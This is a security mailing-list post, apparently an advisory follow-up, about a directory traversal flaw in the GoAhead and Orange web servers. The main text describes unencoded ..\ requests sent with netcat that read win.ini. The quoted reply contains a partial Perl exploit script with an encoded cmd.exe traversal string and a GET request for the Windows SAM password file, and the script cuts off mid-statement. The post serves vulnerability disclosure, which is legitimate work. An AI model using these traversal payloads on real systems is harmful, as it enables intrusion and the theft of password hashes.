Hello, I also received an email regarding this vulnerability from Rein Van Koten of AtosOrigin, indicating that another large vendor who is using GoAhead in one of their products also has these vulnerabilities. He also pointed out that it is not necessary to URL encode the slashes, so the traversal bug reported in wp-02-0001 is essentially a duplicate of the original bug found in Feb 2001, which has still not been fixed by GoAhead. Connecting directly to the server using netcat or telnet and issuing a GET request for the file using just ..\..\..\..\..\..\winnt\win.ini rather than the URL encoded version will return the file. I was under the impression that they had fixed the original bug, but apparently not. When I tried to verify this with Internet Explorer, it did appear to be fixed (version 2.1 tested). Unfortunately, If you make this request using Internet Explorer, it is silently changed - the backslashes become forward slashes and the request fails (IE still displays the backslash version in URL field). I didn't realise IE did this, and hence thought the problem fixed. Netscape just removes the ..\'s altogether, and simply requests /winnt/win.ini. The advisory (wp-02-0001) will be updated to reflect the above information. regards, Matt xileat_private wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Have been aware for some time and I Just wanted to add a little to > >Mr. Moore's observations ; > > >Title: GoAhead Web Server Directory Traversal + Cross Site Scripting > >>Also Effected: Orange Web Server -all versions >> > >Risk Rating: Medium > >>escalated to risk: high - password hash pilfer via 300 year old >> > >>traversal technique >> > > >Software: GoAhead Web Server v2.1 ><added Orange Web Server - All ><Orange Web Server uses GoAhead WebServer 2.1 technology so it is > ><powerful and stable. - nuff said > > > > >Platforms: Windows NT/98/95/CE > Embedded Linux > Linux > QNX > Novell Netware + others > ><ADDED: Hard Hat Linux - started ><bundling GoAhead with thier distros, so there should be palm > ><pilots, cellphones and all kinds of nifty prototype devices > ><running this sad-ware > > > >#!/usr/bin/perl ># spawns a shell on port 10101 >use IO::Socket; >if (@ARGV < 1) { print "usage: perl go-orange.pl [host]\n"; exit; } >$host = $ARGV[0]; > >$shell = IO::Socket::INET->new( PeerAddr=>"$host", > PeerPort=>"80", > Proto=>"tcp") || die "Connection failed.\n"; > >#dump sam is success on Orange and GoAhead!- was able to jump around > >#and do interesting things with encoding 0-day >#%77innt/s%79s%74em%332/%63%6D%64.%65x%65?/c%25%32%30ech%6F%%320W%65 > > > > >print $shell "GET /..%5C..%5C..%5C..%5C..%5C..%5C/winnt/repair/sam > >################################################################## >#commented out hypothetical embedded webserver in transmeta-maytag > >#stove scenario.
